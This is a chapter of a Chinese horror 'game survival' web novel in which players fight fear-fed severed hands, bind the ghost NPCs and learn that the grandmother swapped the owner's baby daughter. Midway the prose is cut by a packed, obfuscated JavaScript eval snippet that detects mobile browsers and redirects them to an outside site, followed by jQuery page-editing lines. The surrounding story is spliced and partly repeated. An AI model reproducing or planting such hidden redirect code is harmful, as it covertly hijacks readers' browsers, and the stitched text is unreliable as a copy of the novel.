陆烬当然不会有事,有事的是他们。
恐惧这东西,哪怕你硬撑着说“不怕”,该怕时还是会怕。
恐惧是本能。
在小男孩脑袋探进床底的瞬间,方圆和许墨阳抱紧彼此,嗓子里炸开尖叫:“啊啊啊啊啊——!”
“啊啊啊啊巴拉巴拉小魔仙变身啊啊啊啊!”
鹌鹑蛋率先出击!
两怂货吓得闭上眼睛,但蛋兄永远英勇,“嗖”地弹起,砸在小男孩额头上!
小男孩的笑容裂开,那双无神的眼眶里渗出了点血泪。
他这一哭,地上的断手发疯似的钻出来,原本只在泥地里蔓延,此刻连地板、桌面、床底,但凡有平面的地方,都钻出密密麻麻的断手!
断手往床底钻,要抓方圆和许墨阳。鹌鹑蛋立刻挡在前面,可惜断手太多,一蛋难敌N手。
方圆和许墨阳手忙脚乱地从床底爬出来,一路狂奔。鹌鹑蛋断后,所有靠近的断手都被它踹飞。
可两人还是太紧张,脑袋一片空白,跑到楼梯口时,许墨阳一个趔趄,方圆急忙去拉,两人一起顺着楼梯滚下去。
摔在一楼的地面上,地上正好有几只张牙舞爪的手,他们的身体压在断手上。
哦,不疼。
但断手被压得变了形,有几个还骨折了,动作更显机械。
陆烬:“……”
江随:“……”
两人一个倚着黄婆婆房间的门框;一个靠着白墙,胳膊抱在胸前。
江随扬了扬下巴:“要帮他们吗?”
陆烬瞥了眼滚作一团的两人:“感觉他们玩得还挺开心的?”
江随笑了,冲许墨阳和方圆扬声:“不是叫你们别出来吗?”
看到江随和陆烬,方圆松了口气,狼狈地爬起来,手背蹭了蹭脸上的灰。
“有、有蛋兄!”
“什么?”
顺着方圆的目光看去,楼梯中段,鹌鹑蛋正蹦跳着对抗楼上疯长的断手,一蛋一个,非常利落。
江随:“……”
许墨阳看见陆烬,眼睛一亮,“陆哥!我就知道你没事!”
有只断手爬上他的裤腿,许墨阳慌忙甩开,哭丧着脸:“陆哥!这玩意怎么处理啊!”
“处理不完的,”
陆烬扫过满地蠕动的断手,脚尖一挑,踹飞靠近的一只,“这东西靠人类的恐惧存在,恐惧越多,生得越多,你们要是不怕,他们也不长。说白了,这些断手全是你们的子子孙孙。”
他顿了顿,说,“所以,你们能冷静点,想点开心的事情吗?”
不说还好,这话一出,两人头皮更发麻。
陆烬显然不怕,轻松踹飞靠近的断手;江随也一样,站着没动,身边悬浮的金属球自动撞飞靠近的断手。
所以,恐惧全来自方圆和许墨阳。
两人咬着牙:“能!”
不就是心平气和不恐惧吗?有什么难的!
他们努力憋着气,试图回忆最开心的事情。
“噗噗噗……”
地板上又冒出一片新的断手。
陆烬:“……”
说好想点开心的事情呢?这两人怕不是在脑子里循环播放恐怖片吧?
江随忍笑:“恐惧哪能说没就没?擒贼,得先擒王。”
说完,他抬头看向二楼楼梯口的小男孩。
小男孩发现江随在看他,猛地一缩,转身要跑。可江随的金属球更快,没跑两步,小男孩就被金属球绊倒,金属球瞬间拉长成金属片,将他牢牢捆住!
其余金属球也如法炮制,也纷纷出动,小三楼里的老板娘、经理、厨师……全被抓了出来!
NPC们被捆得结结实实,在一楼客厅排成一排,跟下饺子似的。
看到老板娘和小男孩,江随疑惑:“奇怪,我明明把他们都抓起来了,居然还能逃?”
陆烬:“废话。他们是鬼,普通东西困不住的。”
毛线也不行,都是暂时的。
无常有办法制服鬼魂,那便是勾魂锁,能同时控制十几只鬼魂,不过他不想在活人面前用,不好解释,临时捆绑就临时吧。
小男孩被抓后,小三楼的断手全部消失了。他忿忿地瞪着玩家,无神的大眼睛里满是怨气。
陆烬没理他,转身看向黄婆婆,继续审问:“说吧,为什么杀医生?”
黄婆婆撇撇嘴,露出恶鬼的凶狠:“看不爽就杀了!哪来那么多废话!”
方圆和许墨阳一头雾水,怎么扯到医生了?不是要完成任务二吗?
江随耐心解释了一遍,两人才恍然。
李烨或许真暗恋老板娘,所以黄老板看到DNA报告,第一反应是她出轨。但系统不接受这个答案,可见他不是第三者。
“所以,我们猜,可能是抱错孩子。”江随说,“但我们没证据,黄婆婆也死不承认。”
方圆挠头:“这结论不太站得住脚啊。”
陆烬淡声:“出轨的结论也站不住脚。”
其实,无论抱错还是出轨,他们都没有实质的证据。
这证据仿佛凭空消失,陆烬和江随把黄婆婆的房间翻了个底朝天,依然没找到。
“其实……还是有办法的!”
许墨阳突然开口,“在剧本杀一类的游戏里,证据是帮助玩家查清真相的辅助,游戏的目标是查清真相,而不是找到证据。”
“所以,就算没有证据,把结论告诉系统,或许也行?”
*
在陆烬他们推理任务二时,谢志和蒋恒还在被BOSS追杀。
和多数BOSS一样,黄有权喜欢吃深陷恐惧的人类。他喜欢看着玩家在害怕和恐惧中挣扎,最后走向死亡。
他长长的手扭曲变形,跟捉弄小猫小狗似的,看着蒋恒和谢志在宿舍惊恐乱跑,可无论他们跑到哪里,他的恐惧如影随形。
两人身上挂了彩,狼狈地跑出宿舍楼,黄有权还幽幽跟在后面。
差不多了。黄有权正要下手——
谢志突然对着空气惊叫:“我有证据!我知道任务二的答案,我要通关!”
通关任务二,或许能逃过一劫。
可话刚说完,没等他们报答案,空气中响起系统的儿童音。
【叮——】
【恭喜玩家找到答案,完成任务二:谁给黄老板戴了“绿帽子”?】
【休息十分钟,最终任务将在凌晨一点准时开启~】
谢志和蒋恒僵在原地。
任务二完成了?怎么可能!证据明明在他们手上!
谢志立刻掏出证据:“黄婆婆当年购买孩子的合同分明在我这儿啊!他们怎么可能完成任务!”
黄有权本还饶有兴致地看着两人,听到这话,他僵住了。脸上的笑容瞬间消失,他死死盯着谢志。
“你说什么?是谁换了孩子?!”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021340|193932||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>*
“任务二的答案:有人换了孩子,所以DNA报告两人不是亲子关系,但没有人给黄老板戴绿帽子!”
【叮——】
【恭喜玩家找到答案,完成任务二:谁给黄老板戴了“绿帽子”?】
【没有人给黄老板戴“绿帽子”!原来是黄婆婆偷偷换掉孩子,才导致黄老板一直以为自己被绿~都是误会呢!】
【鉴于本轮游戏,玩家在没有证据的情况下完成任务二,额外赠送2000积分奖励!】
直接报答案居然真的有用!
许墨阳和方圆脸上露出了明显的欣喜。
但陆烬和江随,却抓住系统播报里一个看似不起眼的关键词。
江随:“没有证据?”
明明是完成任务的关键证据,怎么会没有证据?
系统友情回答:【因为有人提前用道具拿走了关键证据哦~】
玩家们愣住了。
陆烬问:“是谢志和蒋恒吗?”
这次,系统却没有回答,只留下一个意味深长的沉默,然后,又公布休息十分钟后通知最后一个任务。
即便它没有说,大家也心知肚明。
他们四个都是新玩家,不可能有道具。江随那个鹌鹑蛋,方圆后来知道根本不是道具。所以,有道具且能拿走关键证据的,只有老玩家。
许墨阳气得脸都绿了:“这两人也太过分了!等他们来,我非掐死他们不可!”
话音刚落,系统又响起提示音。
【叮——】
【玩家谢志死亡。】
玩家们还来不及惊诧,紧接着,小三楼的门被踹开。黄有权拽着蒋恒的衣领,怒气冲冲地走进客厅。
他眼睛通红,眼白布满血丝,理智似乎被怨念吞噬。
看到黄婆婆,他丢下手中的玩家,径直冲过去!
蒋恒摔在地上,不知受了什么折磨,精神有些不正常,嘴角还流着口水。
许墨阳本想报仇,看着他的模样,都有点于心不忍了。
黄有权冲到黄婆婆面前,手里攥紧从谢志那抢来的证据。
“为什么?!”他怒目圆瞪,“卿卿当年怀了我的孩子,我们已经有孩子了,为什么你还要再买一个?”
黄婆婆终于抬头。
她佝偻着背,脑袋慢慢抬起,银白的头发下,爬满皱纹的脸上露出委屈又惨淡的表情:“阿权啊,你在说什么?妈听不懂。”
黄有权握紧证据,偏偏是面对自己的母亲,他无法下狠手。
“因为是女孩吗?”老板娘突然开口。
空气一僵,所有人都看向老板娘。她似乎恢复了点神智,脸变得正常,眉眼也柔和了些。
她望着黄婆婆,眼里隐隐有泪光:“是因为,我当年生的是女儿吗?”
黄有权心里咯噔一下。
黄婆婆闻言,脸上的委屈渐渐消失了,恶鬼的凶残又爬了上来,她变得偏执,又扭曲,还癫狂。
“是啊,你当初为什么生女儿?生个男孩多好!我也不用这么麻烦,我们家也不会出事!”
黄有权不可置信。他手上沾了那么多鲜血,甚至因此丢了命,死后化为恶鬼。可结果不是卿卿背叛他,始作俑者竟是自己的母亲?!
老板娘的眼泪掉下来:“那我的孩子呢?”她十月怀胎,却一次也没抱过的孩子呢?
黄婆婆目光冷冽:“一个女孩,有什么用?早丢了。”